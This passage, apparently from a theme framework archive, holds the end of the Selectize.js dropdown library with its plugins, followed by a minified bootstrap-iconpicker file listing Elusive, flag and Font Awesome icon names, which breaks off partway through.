				optionsMap[value] = option;
				options.push(option);

				if ($option.is(':selected')) {
					settings_element.items.push(value);
				}
			};

			var addGroup = function($optgroup) {
				var i, n, id, optgroup, $options;

				$optgroup = $($optgroup);
				id = $optgroup.attr('label');

				if (id) {
					optgroup = readData($optgroup) || {};
					optgroup[field_optgroup_label] = id;
					optgroup[field_optgroup_value] = id;
					settings_element.optgroups.push(optgroup);
				}

				$options = $('option', $optgroup);
				for (i = 0, n = $options.length; i < n; i++) {
					addOption($options[i], id);
				}
			};

			settings_element.maxItems = $input.attr('multiple') ? null : 1;

			$children = $input.children();
			for (i = 0, n = $children.length; i < n; i++) {
				tagName = $children[i].tagName.toLowerCase();
				if (tagName === 'optgroup') {
					addGroup($children[i]);
				} else if (tagName === 'option') {
					addOption($children[i]);
				}
			}
		};

		return this.each(function() {
			if (this.selectize) return;

			var instance;
			var $input = $(this);
			var tag_name = this.tagName.toLowerCase();
			var placeholder = $input.attr('placeholder') || $input.attr('data-placeholder');
			if (!placeholder && !settings.allowEmptyOption) {
				placeholder = $input.children('option[value=""]').text();
			}

			var settings_element = {
				'placeholder' : placeholder,
				'options'     : [],
				'optgroups'   : [],
				'items'       : []
			};

			if (tag_name === 'select') {
				init_select($input, settings_element);
			} else {
				init_textbox($input, settings_element);
			}

			instance = new Selectize($input, $.extend(true, {}, defaults, settings_element, settings_user));
		});
	};

	$.fn.selectize.defaults = Selectize.defaults;
	$.fn.selectize.support = {
		validity: SUPPORTS_VALIDITY_API
	};


	Selectize.define('drag_drop', function(options) {
		if (!$.fn.sortable) throw new Error('The "drag_drop" plugin requires jQuery UI "sortable".');
		if (this.settings.mode !== 'multi') return;
		var self = this;

		self.lock = (function() {
			var original = self.lock;
			return function() {
				var sortable = self.$control.data('sortable');
				if (sortable) sortable.disable();
				return original.apply(self, arguments);
			};
		})();

		self.unlock = (function() {
			var original = self.unlock;
			return function() {
				var sortable = self.$control.data('sortable');
				if (sortable) sortable.enable();
				return original.apply(self, arguments);
			};
		})();

		self.setup = (function() {
			var original = self.setup;
			return function() {
				original.apply(this, arguments);

				var $control = self.$control.sortable({
					items: '[data-value]',
					forcePlaceholderSize: true,
					disabled: self.isLocked,
					start: function(e, ui) {
						ui.placeholder.css('width', ui.helper.css('width'));
						$control.css({overflow: 'visible'});
					},
					stop: function() {
						$control.css({overflow: 'hidden'});
						var active = self.$activeItems ? self.$activeItems.slice() : null;
						var values = [];
						$control.children('[data-value]').each(function() {
							values.push($(this).attr('data-value'));
						});
						self.setValue(values);
						self.setActiveItem(active);
					}
				});
			};
		})();

	});

	Selectize.define('dropdown_header', function(options) {
		var self = this;

		options = $.extend({
			title         : 'Untitled',
			headerClass   : 'selectize-dropdown-header',
			titleRowClass : 'selectize-dropdown-header-title',
			labelClass    : 'selectize-dropdown-header-label',
			closeClass    : 'selectize-dropdown-header-close',

			html: function(data) {
				return (
						'<div class="' + data.headerClass + '">' +
						'<div class="' + data.titleRowClass + '">' +
						'<span class="' + data.labelClass + '">' + data.title + '</span>' +
						'<a href="javascript:void(0)" class="' + data.closeClass + '">&times;</a>' +
						'</div>' +
						'</div>'
				);
			}
		}, options);

		self.setup = (function() {
			var original = self.setup;
			return function() {
				original.apply(self, arguments);
				self.$dropdown_header = $(options.html(options));
				self.$dropdown.prepend(self.$dropdown_header);
			};
		})();

	});

	Selectize.define('optgroup_columns', function(options) {
		var self = this;

		options = $.extend({
			equalizeWidth  : true,
			equalizeHeight : true
		}, options);

		this.getAdjacentOption = function($option, direction) {
			var $options = $option.closest('[data-group]').find('[data-selectable]');
			var index    = $options.index($option) + direction;

			return index >= 0 && index < $options.length ? $options.eq(index) : $();
		};

		this.onKeyDown = (function() {
			var original = self.onKeyDown;
			return function(e) {
				var index, $option, $options, $optgroup;

				if (this.isOpen && (e.keyCode === KEY_LEFT || e.keyCode === KEY_RIGHT)) {
					self.ignoreHover = true;
					$optgroup = this.$activeOption.closest('[data-group]');
					index = $optgroup.find('[data-selectable]').index(this.$activeOption);

					if(e.keyCode === KEY_LEFT) {
						$optgroup = $optgroup.prev('[data-group]');
					} else {
						$optgroup = $optgroup.next('[data-group]');
					}

					$options = $optgroup.find('[data-selectable]');
					$option  = $options.eq(Math.min($options.length - 1, index));
					if ($option.length) {
						this.setActiveOption($option);
					}
					return;
				}

				return original.apply(this, arguments);
			};
		})();

		var getScrollbarWidth = function() {
			var div;
			var width = getScrollbarWidth.width;
			var doc = document;

			if (typeof width === 'undefined') {
				div = doc.createElement('div');
				div.innerHTML = '<div style="width:50px;height:50px;position:absolute;left:-50px;top:-50px;overflow:auto;"><div style="width:1px;height:100px;"></div></div>';
				div = div.firstChild;
				doc.body.appendChild(div);
				width = getScrollbarWidth.width = div.offsetWidth - div.clientWidth;
				doc.body.removeChild(div);
			}
			return width;
		};

		var equalizeSizes = function() {
			var i, n, height_max, width, width_last, width_parent, $optgroups;

			$optgroups = $('[data-group]', self.$dropdown_content);
			n = $optgroups.length;
			if (!n || !self.$dropdown_content.width()) return;

			if (options.equalizeHeight) {
				height_max = 0;
				for (i = 0; i < n; i++) {
					height_max = Math.max(height_max, $optgroups.eq(i).height());
				}
				$optgroups.css({height: height_max});
			}

			if (options.equalizeWidth) {
				width_parent = self.$dropdown_content.innerWidth() - getScrollbarWidth();
				width = Math.round(width_parent / n);
				$optgroups.css({width: width});
				if (n > 1) {
					width_last = width_parent - width * (n - 1);
					$optgroups.eq(n - 1).css({width: width_last});
				}
			}
		};

		if (options.equalizeHeight || options.equalizeWidth) {
			hook.after(this, 'positionDropdown', equalizeSizes);
			hook.after(this, 'refreshOptions', equalizeSizes);
		}


	});

	Selectize.define('remove_button', function(options) {
		options = $.extend({
			label     : '&times;',
			title     : 'Remove',
			className : 'remove',
			append    : true
		}, options);

		var singleClose = function(thisRef, options) {

			options.className = 'remove-single';

			var self = thisRef;
			var html = '<a href="javascript:void(0)" class="' + options.className + '" tabindex="-1" title="' + escape_html(options.title) + '">' + options.label + '</a>';

			/**
			 * Appends an element as a child (with raw HTML).
			 *
			 * @param {string} html_container
			 * @param {string} html_element
			 * @return {string}
			 */
			var append = function(html_container, html_element) {
				return html_container + html_element;
			};

			thisRef.setup = (function() {
				var original = self.setup;
				return function() {
					// override the item rendering method to add the button to each
					if (options.append) {
						var id = $(self.$input.context).attr('id');
						var selectizer = $('#'+id);

						var render_item = self.settings.render.item;
						self.settings.render.item = function(data) {
							return append(render_item.apply(thisRef, arguments), html);
						};
					}

					original.apply(thisRef, arguments);

					// add event listener
					thisRef.$control.on('click', '.' + options.className, function(e) {
						e.preventDefault();
						if (self.isLocked) return;

						self.clear();
					});

				};
			})();
		};

		var multiClose = function(thisRef, options) {

			var self = thisRef;
			var html = '<a href="javascript:void(0)" class="' + options.className + '" tabindex="-1" title="' + escape_html(options.title) + '">' + options.label + '</a>';

			/**
			 * Appends an element as a child (with raw HTML).
			 *
			 * @param {string} html_container
			 * @param {string} html_element
			 * @return {string}
			 */
			var append = function(html_container, html_element) {
				var pos = html_container.search(/(<\/[^>]+>\s*)$/);
				return html_container.substring(0, pos) + html_element + html_container.substring(pos);
			};

			thisRef.setup = (function() {
				var original = self.setup;
				return function() {
					// override the item rendering method to add the button to each
					if (options.append) {
						var render_item = self.settings.render.item;
						self.settings.render.item = function(data) {
							return append(render_item.apply(thisRef, arguments), html);
						};
					}

					original.apply(thisRef, arguments);

					// add event listener
					thisRef.$control.on('click', '.' + options.className, function(e) {
						e.preventDefault();
						if (self.isLocked) return;

						var $item = $(e.currentTarget).parent();
						self.setActiveItem($item);
						if (self.deleteSelection()) {
							self.setCaret(self.items.length);
						}
					});

				};
			})();
		};

		if (this.settings.mode === 'single') {
			singleClose(this, options);
			return;
		} else {
			multiClose(this, options);
		}
	});


	Selectize.define('restore_on_backspace', function(options) {
		var self = this;

		options.text = options.text || function(option) {
					return option[this.settings.labelField];
				};

		this.onKeyDown = (function() {
			var original = self.onKeyDown;
			return function(e) {
				var index, option;
				if (e.keyCode === KEY_BACKSPACE && this.$control_input.val() === '' && !this.$activeItems.length) {
					index = this.caretPos - 1;
					if (index >= 0 && index < this.items.length) {
						option = this.options[this.items[index]];
						if (this.deleteSelection(e)) {
							this.setTextboxValue(options.text.apply(this, [option]));
							this.refreshOptions(true);
						}
						e.preventDefault();
						return;
					}
				}
				return original.apply(this, arguments);
			};
		})();
	});


	return Selectize;
}));
PK     0w\@  M  customizer/framework/assets/js/vendor/bootstrap-iconpicker-iconset-all.min.jsnu [        /*!========================================================================
* File: bootstrap-iconpicker-iconset.min.js v1.9.0 by @victor-valencia
* https://victor-valencia.github.com/bootstrap-iconpicker
* ========================================================================
* Copyright 2013-2017 Victor Valencia Rico.
* Licensed under MIT license.
* https://github.com/victor-valencia/bootstrap-iconpicker/blob/master/LICENSE
* ========================================================================
*/

!function($){var data={iconClass:"",iconClassFix:"el-icon-",icons:[],allVersions:[{version:"2.0.0",icons:["","address-book","address-book-alt","adjust","adjust-alt","adult","align-center","align-justify","align-left","align-right","arrow-down","arrow-left","arrow-right","arrow-up","asl","asterisk","backward","ban-circle","barcode","behance","bell","blind","blogger","bold","book","bookmark","bookmark-empty","braille","briefcase","broom","brush","bulb","bullhorn","calendar","calendar-sign","camera","car","caret-down","caret-left","caret-right","caret-up","cc","certificate","check","check-empty","chevron-down","chevron-left","chevron-right","chevron-up","child","circle-arrow-down","circle-arrow-left","circle-arrow-right","circle-arrow-up","cloud","cloud-alt","cog","cog-alt","cogs","comment","comment-alt","compass","compass-alt","credit-card","css","dashboard","delicious","deviantart","digg","download","download-alt","dribbble","edit","eject","envelope","envelope-alt","error","error-alt","eur","exclamation-sign","eye-close","eye-open","facebook","facetime-video","fast-backward","fast-forward","female","file","file-alt","file-edit","file-edit-alt","file-new","file-new-alt","film","filter","fire","flag","flag-alt","flickr","folder","folder-close","folder-open","folder-sign","font","fontsize","fork","forward","forward-alt","foursquare","friendfeed","friendfeed-rect","fullscreen","gbp","gift","github","github-text","glass","glasses","globe","globe-alt","googleplus","graph","graph-alt","group","group-alt","guidedog","hand-down","hand-left","hand-right","hand-up","hdd","headphones","hearing-impaired","heart","heart-alt","heart-empty","home","home-alt","hourglass","idea","idea-alt","inbox","inbox-alt","inbox-box","indent-left","indent-right","info-sign","instagram","iphone-home","italic","key","laptop","laptop-alt","lastfm","leaf","lines","link","linkedin","list","list-alt","livejournal","lock","lock-alt","magic","magnet","male","map-marker","map-marker-alt","mic","mic-alt","minus","minus-sign","move","music","myspace","network","off","ok","ok-circle","ok-sign","opensource","paper-clip","paper-clip-alt","path","pause","pause-alt","pencil","pencil-alt","person","phone","phone-alt","photo","photo-alt","picasa","picture","pinterest","plane","play","play-alt","play-circle","plus","plus-sign","podcast","print","puzzle","qrcode","question","question-sign","quotes","quotes-alt","random","record","reddit","refresh","remove","remove-circle","remove-sign","repeat","repeat-alt","resize-full","resize-horizontal","resize-small","resize-vertical","return-key","retweet","reverse-alt","road","rss","scissors","screen","screen-alt","screenshot","search","search-alt","share","share-alt","shopping-cart","shopping-cart-sign","signal","skype","slideshare","smiley","smiley-alt","soundcloud","speaker","spotify","stackoverflow","star","star-alt","star-empty","step-backward","step-forward","stop","stop-alt","stumbleupon","tag","tags","tasks","text-height","text-width","th","th-large","th-list","thumbs-down","thumbs-up","time","time-alt","tint","torso","trash","trash-alt","tumblr","twitter","universal-access","unlock","unlock-alt","upload","usd","user","viadeo","video","video-alt","video-chat","view-mode","vimeo","vkontakte","volume-down","volume-off","volume-up","w3c","warning-sign","website","website-alt","wheelchair","wordpress","wrench","wrench-alt","youtube","zoom-in","zoom-out"]}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_elusiveicon=data}(jQuery);
!function($){var data={iconClass:"flag-icon",iconClassFix:"flag-icon-",icons:[],allVersions:[{version:"2.8.0",icons:["","ad","ae","af","ag","ai","al","am","ao","aq","ar","as","at","au","aw","ax","az","ba","bb","bd","be","bf","bg","bh","bi","bj","bl","bm","bn","bo","bq","br","bs","bt","bv","bw","by","bz","ca","cc","cd","cf","cg","ch","ci","ck","cl","cm","cn","co","cr","cu","cv","cw","cx","cy","cz","de","dj","dk","dm","do","dz","ec","ee","eg","eh","er","es","et","eu","fi","fj","fk","fm","fo","fr","ga","gb","gd","ge","gf","gg","gh","gi","gl","gm","gn","gp","gq","gr","gs","gt","gu","gw","gy","hk","hm","hn","hr","ht","hu","id","ie","il","im","in","io","iq","ir","is","it","je","jm","jo","jp","ke","kg","kh","ki","km","kn","kp","kr","kw","ky","kz","la","lb","lc","li","lk","lr","ls","lt","lu","lv","ly","ma","mc","md","me","mf","mg","mh","mk","ml","mm","mn","mo","mp","mq","mr","ms","mt","mu","mv","mw","mx","my","mz","na","nc","ne","nf","ng","ni","nl","no","np","nr","nu","nz","om","pa","pe","pf","pg","ph","pk","pl","pm","pn","pr","ps","pt","pw","py","qa","re","ro","rs","ru","rw","sa","sb","sc","sd","se","sg","sh","si","sj","sk","sl","sm","sn","so","sr","ss","st","sv","sx","sy","sz","tc","td","tf","tg","th","tj","tk","tl","tm","tn","to","tr","tt","tv","tw","tz","ua","ug","um","un","us","uy","uz","va","vc","ve","vg","vi","vn","vu","wf","ws","ye","yt","za","zm","zw"]}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_flagicon=data}(jQuery);
!function($){var data={iconClass:"fa",iconClassFix:"fa-",icons:[],allVersions:[{version:"4.0.0",icons:["","adjust","adn","align-center","align-justify","align-left","align-right","ambulance","anchor","android","angle-double-down","angle-double-left","angle-double-right","angle-double-up","angle-down","angle-left","angle-right","angle-up","apple","archive","arrow-circle-down","arrow-circle-left","arrow-circle-o-down","arrow-circle-o-left","arrow-circle-o-right","arrow-circle-o-up","arrow-circle-right","arrow-circle-up","arrow-down","arrow-left","arrow-right","arrow-up","asterisk","backward","ban","bar-chart-o","barcode","beer","bell","bell-o","bitbucket","bitbucket-square","bitcoin","bold","bolt","book","bookmark","bookmark-o","briefcase","btc","bug","building","bullhorn","bullseye","calendar","calendar-o","camera","camera-retro","caret-down","caret-left","caret-right","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","caret-up","certificate","chain","chain-broken","check","check-circle","check-circle-o","check-square","check-square-o","chevron-circle-down","chevron-circle-left","chevron-circle-right","chevron-circle-up","chevron-down","chevron-left","chevron-right","chevron-up","circle","circle-o","clipboard","clock-o","cloud","cloud-download","cloud-upload","cny","code","code-fork","coffee","cog","cogs","columns","comment","comment-o","comments","comments-o","compass","copy","credit-card","crop","crosshairs","css3","cut","cutlery","dashboard","dedent","desktop","dollar","dot-circle-o","download","dribbble","dropbox","edit","eject","envelope","envelope-o","eraser","eur","euro","exchange","exclamation","exclamation-circle","exclamation-triangle","external-link","external-link-square","eye","eye-slash","facebook","facebook-square","fast-backward","fast-forward","female","fighter-jet","file","file-o","file-text","file-text-o","files-o","film","filter","fire","fire-extinguisher","flag","flag-checkered","flag-o","flash","flask","flickr","floppy-o","folder","folder-o","folder-open","folder-open-o","font","forward","foursquare","frown-o","gamepad","gavel","gbp","gear","gears","gift","github","github-alt","github-square","gittip","glass","globe","google-plus","google-plus-square","group","h-square","hand-o-down","hand-o-left","hand-o-right","hand-o-up","headphones","heart","heart-o","home","html5","inbox","indent","info","info-circle","inr","instagram","italic","jpy","key","keyboard-o","krw","laptop","leaf","legal","lemon-o","level-down","level-up","lightbulb-o","link","linkedin","linkedin-square","linux","list","list-alt","list-ol","list-ul","location-arrow","lock","long-arrow-down","long-arrow-left","long-arrow-right","long-arrow-up","magic","magnet","mail-forward","mail-reply","mail-reply-all","male","map-marker","maxcdn","medkit","meh-o","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mobile","mobile-phone","money","moon-o","music","outdent","pagelines","paperclip","paste","pause","pencil","pencil-square","pencil-square-o","phone","phone-square","picture-o","pinterest","pinterest-square","plane","play","play-circle","play-circle-o","plus","plus-circle","plus-square","power-off","print","puzzle-piece","qrcode","question","question-circle","quote-left","quote-right","random","refresh","renren","reorder","repeat","reply","reply-all","retweet","rmb","road","rocket","rotate-left","rotate-right","rouble","rss","rss-square","rub","ruble","rupee","save","scissors","search","search-minus","search-plus","share","share-square","share-square-o","shield","shopping-cart","sign-in","sign-out","signal","sitemap","skype","smile-o","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down","sort-numeric-asc","sort-numeric-desc","sort-up","spinner","square","square-o","stack-exchange","stack-overflow","star","star-half","star-half-empty","star-half-full","star-half-o","star-o","step-backward","step-forward","stethoscope","stop","strikethrough","subscript","suitcase","sun-o","superscript","table","tablet","tachometer","tag","tags","tasks","terminal","text-height","text-width","th","th-large","th-list","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","tint","toggle-down","toggle-left","toggle-right","toggle-up","trash-o","trello","trophy","truck","try","tumblr","tumblr-square","turkish-lira","twitter","twitter-square","umbrella","underline","undo","unlink","unlock","unsorted","upload","usd","user","user-md","video-camera","vimeo-square","vk","volume-down","volume-off","volume-up","warning","weibo","wheelchair","windows","won","wrench","xing","xing-square","yen","youtube","youtube-play","youtube-square"]},{version:"4.1.0",icons:["","adjust","adn","align-center","align-justify","align-left","align-right","ambulance","anchor","android","angle-double-down","angle-double-left","angle-double-right","angle-double-up","angle-down","angle-left","angle-right","angle-up","apple","archive","arrow-circle-down","arrow-circle-left","arrow-circle-o-down","arrow-circle-o-left","arrow-circle-o-right","arrow-circle-o-up","arrow-circle-right","arrow-circle-up","arrow-down","arrow-left","arrow-right","arrow-up","arrows","arrows-alt","arrows-h","arrows-v","asterisk","automobile","backward","ban","bank","bar-chart-o","barcode","bars","beer","behance","behance-square","bell","bell-o","bitbucket","bitbucket-square","bitcoin","bold","bolt","bomb","book","bookmark","bookmark-o","briefcase","btc","bug","building","building-o","bullhorn","bullseye","cab","calendar","calendar-o","camera","camera-retro","car","caret-down","caret-left","caret-right","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","caret-up","certificate","chain","chain-broken","check","check-circle","check-circle-o","check-square","check-square-o","chevron-circle-down","chevron-circle-left","chevron-circle-right","chevron-circle-up","chevron-down","chevron-left","chevron-right","chevron-up","child","circle","circle-o","circle-thin","clipboard","clock-o","cloud","cloud-download","cloud-upload","cny","code","code-fork","coffee","cog","cogs","columns","comment","comment-o","comments","comments-o","compass","compress","copy","credit-card","crop","crosshairs","css3","cube","cubes","cut","cutlery","dashboard","database","dedent","delicious","desktop","digg","dollar","dot-circle-o","download","dribbble","dropbox","drupal","edit","eject","ellipsis-h","ellipsis-v","empire","envelope","envelope-o","envelope-square","eraser","eur","euro","exchange","exclamation","exclamation-circle","exclamation-triangle","expand","external-link","external-link-square","eye","eye-slash","facebook","facebook-square","fast-backward","fast-forward","fax","female","fighter-jet","file","file-archive-o","file-audio-o","file-code-o","file-excel-o","file-image-o","file-movie-o","file-o","file-pdf-o","file-photo-o","file-picture-o","file-powerpoint-o","file-sound-o","file-text","file-text-o","file-video-o","file-word-o","file-zip-o","files-o","film","filter","fire","fire-extinguisher","flag","flag-checkered","flag-o","flash","flask","flickr","floppy-o","folder","folder-o","folder-open","folder-open-o","font","forward","foursquare","frown-o","gamepad","gavel","gbp","ge","gear","gears","gift","git","git-square","github","github-alt","github-square","gittip","glass","globe","google","google-plus","google-plus-square","graduation-cap","group","h-square","hacker-news","hand-o-down","hand-o-left","hand-o-right","hand-o-up","hdd-o","header","headphones","heart","heart-o","history","home","hospital-o","html5","image","inbox","indent","info","info-circle","inr","instagram","institution","italic","joomla","jpy","jsfiddle","key","keyboard-o","krw","language","laptop","leaf","legal","lemon-o","level-down","level-up","life-bouy","life-ring","life-saver","lightbulb-o","link","linkedin","linkedin-square","linux","list","list-alt","list-ol","list-ul","location-arrow","lock","long-arrow-down","long-arrow-left","long-arrow-right","long-arrow-up","magic","magnet","mail-forward","mail-reply","mail-reply-all","male","map-marker","maxcdn","medkit","meh-o","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mobile","mobile-phone","money","moon-o","mortar-board","music","navicon","openid","outdent","pagelines","paper-plane","paper-plane-o","paperclip","paragraph","paste","pause","paw","pencil","pencil-square","pencil-square-o","phone","phone-square","photo","picture-o","pied-piper","pied-piper-alt","pied-piper-square","pinterest","pinterest-square","plane","play","play-circle","play-circle-o","plus","plus-circle","plus-square","plus-square-o","power-off","print","puzzle-piece","qq","qrcode","question","question-circle","quote-left","quote-right","ra","random","rebel","reddit","reddit-square","refresh","renren","reorder","repeat","reply","reply-all","retweet","rmb","road","rocket","rotate-left","rotate-right","rouble","rss","rss-square","rub","ruble","rupee","save","scissors","search","search-minus","search-plus","send","send-o","share","share-alt","share-alt-square","share-square","share-square-o","shield","shopping-cart","sign-in","sign-out","signal","sitemap","skype","slack","sliders","smile-o","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down","sort-numeric-asc","sort-numeric-desc","sort-up","soundcloud","space-shuttle","spinner","spoon","spotify","square","square-o","stack-exchange","stack-overflow","star","star-half","star-half-empty","star-half-full","star-half-o","star-o","steam","steam-square","step-backward","step-forward","stethoscope","stop","strikethrough","stumbleupon","stumbleupon-circle","subscript","suitcase","sun-o","superscript","support","table","tablet","tachometer","tag","tags","tasks","taxi","tencent-weibo","terminal","text-height","text-width","th","th-large","th-list","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","tint","toggle-down","toggle-left","toggle-right","toggle-up","trash-o","tree","trello","trophy","truck","try","tumblr","tumblr-square","turkish-lira","twitter","twitter-square","umbrella","underline","undo","university","unlink","unlock","unlock-alt","unsorted","upload","usd","user","user-md","users","video-camera","vimeo-square","vine","vk","volume-down","volume-off","volume-up","warning","wechat","weibo","weixin","wheelchair","windows","won","wordpress","wrench","xing","xing-square","yahoo","yen","youtube","youtube-play","youtube-square"]},{version:"4.2.0",icons:["","adjust","adn","align-center","align-justify","align-left","align-right","ambulance","anchor","android","angellist","angle-double-down","angle-double-left","angle-double-right","angle-double-up","angle-down","angle-left","angle-right","angle-up","apple","archive","area-chart","arrow-circle-down","arrow-circle-left","arrow-circle-o-down","arrow-circle-o-left","arrow-circle-o-right","arrow-circle-o-up","arrow-circle-right","arrow-circle-up","arrow-down","arrow-left","arrow-right","arrow-up","arrows","arrows-alt","arrows-h","arrows-v","asterisk","at","automobile","backward","ban","bank","bar-chart-o","barcode","bars","beer","behance","behance-square","bell","bell-o","bell-slash","bell-slash-o","bicycle","binoculars","birthday-cake","bitbucket","bitbucket-square","bitcoin","bold","bolt","bomb","book","bookmark","bookmark-o","briefcase","btc","bug","building","building-o","bullhorn","bullseye","bus","cab","calculator","calendar","calendar-o","camera","camera-retro","car","caret-down","caret-left","caret-right","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","caret-up","cc","cc-amex","cc-discover","cc-mastercard","cc-paypal","cc-stripe","cc-visa","certificate","chain","chain-broken","check","check-circle","check-circle-o","check-square","check-square-o","chevron-circle-down","chevron-circle-left","chevron-circle-right","chevron-circle-up","chevron-down","chevron-left","chevron-right","chevron-up","child","circle","circle-o","circle-thin","clipboard","clock-o","cloud","cloud-download","cloud-upload","cny","code","code-fork","coffee","cog","cogs","columns","comment","comment-o","comments","comments-o","compass","compress","copy","copyright","credit-card","crop","crosshairs","css3","cube","cubes","cut","cutlery","dashboard","database","dedent","delicious","desktop","digg","dollar","dot-circle-o","download","dribbble","dropbox","drupal","edit","eject","ellipsis-h","ellipsis-v","empire","envelope","envelope-o","envelope-square","eraser","eur","euro","exchange","exclamation","exclamation-circle","exclamation-triangle","expand","external-link","external-link-square","eye","eye-slash","eyedropper","facebook","facebook-square","fast-backward","fast-forward","fax","female","fighter-jet","file","file-archive-o","file-audio-o","file-code-o","file-excel-o","file-image-o","file-movie-o","file-o","file-pdf-o","file-photo-o","file-picture-o","file-powerpoint-o","file-sound-o","file-text","file-text-o","file-video-o","file-word-o","file-zip-o","files-o","film","filter","fire","fire-extinguisher","flag","flag-checkered","flag-o","flash","flask","flickr","floppy-o","folder","folder-o","folder-open","folder-open-o","font","forward","foursquare","frown-o","futbol-o","gamepad","gavel","gbp","ge","gear","gears","gift","git","git-square","github","github-alt","github-square","gittip","glass","globe","google","google-plus","google-plus-square","google-wallet","graduation-cap","group","h-square","hacker-news","hand-o-down","hand-o-left","hand-o-right","hand-o-up","hdd-o","header","headphones","heart","heart-o","history","home","hospital-o","html5","ils","image","inbox","indent","info","info-circle","inr","instagram","institution","ioxhost","italic","joomla","jpy","jsfiddle","key","keyboard-o","krw","language","laptop","lastfm","lastfm-square","leaf","legal","lemon-o","level-down","level-up","life-bouy","life-ring","life-saver","lightbulb-o","line-chart","link","linkedin","linkedin-square","linux","list","list-alt","list-ol","list-ul","location-arrow","lock","long-arrow-down","long-arrow-left","long-arrow-right","long-arrow-up","magic","magnet","mail-forward","mail-reply","mail-reply-all","male","map-marker","maxcdn","meanpath","medkit","meh-o","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mobile","mobile-phone","money","moon-o","mortar-board","music","navicon","newspaper-o","openid","outdent","pagelines","paint-brush","paper-plane","paper-plane-o","paperclip","paragraph","paste","pause","paw","paypal","pencil","pencil-square","pencil-square-o","phone","phone-square","photo","picture-o","pie-chart","pied-piper","pied-piper-alt","pinterest","pinterest-square","plane","play","play-circle","play-circle-o","plug","plus","plus-circle","plus-square","plus-square-o","power-off","print","puzzle-piece","qq","qrcode","question","question-circle","quote-left","quote-right","ra","random","rebel","reddit","reddit-square","refresh","renren","reorder","repeat","reply","reply-all","retweet","rmb","road","rocket","rotate-left","rotate-right","rouble","rss","rss-square","rub","ruble","rupee","save","scissors","search","search-minus","search-plus","send","send-o","share","share-alt","share-alt-square","share-square","share-square-o","shekel","sheqel","shield","shopping-cart","sign-in","sign-out","signal","sitemap","skype","slack","sliders","slideshare","smile-o","soccer-ball-o","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down","sort-numeric-asc","sort-numeric-desc","sort-up","soundcloud","space-shuttle","spinner","spoon","spotify","square","square-o","stack-exchange","stack-overflow","star","star-half","star-half-empty","star-half-full","star-half-o","star-o","steam","steam-square","step-backward","step-forward","stethoscope","stop","strikethrough","stumbleupon","stumbleupon-circle","subscript","suitcase","sun-o","superscript","support","table","tablet","tachometer","tag","tags","tasks","taxi","tencent-weibo","terminal","text-height","text-width","th","th-large","th-list","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","tint","toggle-down","toggle-left","toggle-off","toggle-on","toggle-right","toggle-up","trash","trash-o","tree","trello","trophy","truck","try","tty","tumblr","tumblr-square","turkish-lira","twitch","twitter","twitter-square","umbrella","underline","undo","university","unlink","unlock","unlock-alt","unsorted","upload","usd","user","user-md","users","video-camera","vimeo-square","vine","vk","volume-down","volume-off","volume-up","warning","wechat","weibo","weixin","wheelchair","wifi","windows","won","wordpress","wrench","xing","xing-square","yahoo","yelp","yen","youtube","youtube-play","youtube-square"]},{version:"4.3.0",icons:["","adjust","adn","align-center","align-justify","align-left","align-right","ambulance","anchor","android","angellist","angle-double-down","angle-double-left","angle-double-right","angle-double-up","angle-down","angle-left","angle-right","angle-up","apple","archive","area-chart","arrow-circle-down","arrow-circle-left","arrow-circle-o-down","arrow-circle-o-left","arrow-circle-o-right","arrow-circle-o-up","arrow-circle-right","arrow-circle-up","arrow-down","arrow-left","arrow-right","arrow-up","arrows","arrows-alt","arrows-h","arrows-v","asterisk","at","automobile","backward","ban","bank","bar-chart","bar-chart-o","barcode","bars","bed","beer","behance","behance-square","bell","bell-o","bell-slash","bell-slash-o","bicycle","binoculars","birthday-cake","bitbucket","bitbucket-square","bitcoin","bold","bolt","bomb","book","bookmark","bookmark-o","briefcase","btc","bug","building","building-o","bullhorn","bullseye","bus","buysellads","cab","calculator","calendar","calendar-o","camera","camera-retro","car","caret-down","caret-left","caret-right","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","caret-up","cart-arrow-down","cart-plus","cc","cc-amex","cc-discover","cc-mastercard","cc-paypal","cc-stripe","cc-visa","certificate","chain","chain-broken","check","check-circle","check-circle-o","check-square","check-square-o","chevron-circle-down","chevron-circle-left","chevron-circle-right","chevron-circle-up","chevron-down","chevron-left","chevron-right","chevron-up","child","circle","circle-o","circle-o-notch","circle-thin","clipboard","clock-o","close","cloud","cloud-download","cloud-upload","cny","code","code-fork","codepen","coffee","cog","cogs","columns","comment","comment-o","comments","comments-o","compass","compress","connectdevelop","copy","copyright","credit-card","crop","crosshairs","css3","cube","cubes","cut","cutlery","dashboard","dashcube","database","dedent","delicious","desktop","deviantart","diamond","digg","dollar","dot-circle-o","download","dribbble","dropbox","drupal","edit","eject","ellipsis-h","ellipsis-v","empire","envelope","envelope-o","envelope-square","eraser","eur","euro","exchange","exclamation","exclamation-circle","exclamation-triangle","expand","external-link","external-link-square","eye","eye-slash","eyedropper","facebook","facebook-f","facebook-official","facebook-square","fast-backward","fast-forward","fax","female","fighter-jet","file","file-archive-o","file-audio-o","file-code-o","file-excel-o","file-image-o","file-movie-o","file-o","file-pdf-o","file-photo-o","file-picture-o","file-powerpoint-o","file-sound-o","file-text","file-text-o","file-video-o","file-word-o","file-zip-o","files-o","film","filter","fire","fire-extinguisher","flag","flag-checkered","flag-o","flash","flask","flickr","floppy-o","folder","folder-o","folder-open","folder-open-o","font","forumbee","forward","foursquare","frown-o","futbol-o","gamepad","gavel","gbp","ge","gear","gears","genderless","gift","git",